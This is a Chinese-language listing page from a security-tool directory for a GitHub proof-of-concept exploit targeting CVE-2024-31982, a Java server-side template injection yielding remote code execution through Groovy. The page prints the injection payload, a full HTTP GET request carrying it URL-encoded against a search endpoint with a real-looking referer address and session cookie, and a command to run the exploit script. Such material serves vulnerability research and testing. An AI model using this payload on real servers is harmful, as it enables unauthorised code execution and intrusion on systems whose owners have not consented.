Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/nanowraith/cve-2024-31982
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用
GitHubnanowraith/cve-2024-31982

CVE-2024-31982

概念验证漏洞利用代码,针对CVE-2024-31982:Java服务端模板注入(SSTI)导致通过Groovy有效载荷注入实现远程代码执行。

查看仓库
122年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-31982

Snipaste_2024-06-22_16-25-38

Java SSTI -> 导致 RCE

root@kitploit:~
}}}{{async async=false}}{{groovy}}println("Successful Injection"){{/groovy}}{{/
root@kitploit:~
GET /bin/get/Main/DatabaseSearch?outputSyntax=plain&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Successful%20Injection%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2F HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://1.117.185.47:8011/bin/view/Main/
Cookie: JSESSIONID=10D76FBAF45134404510556146000E4D

使用方法

root@kitploit:~
python3 CVE-2024-31982.py
下载工具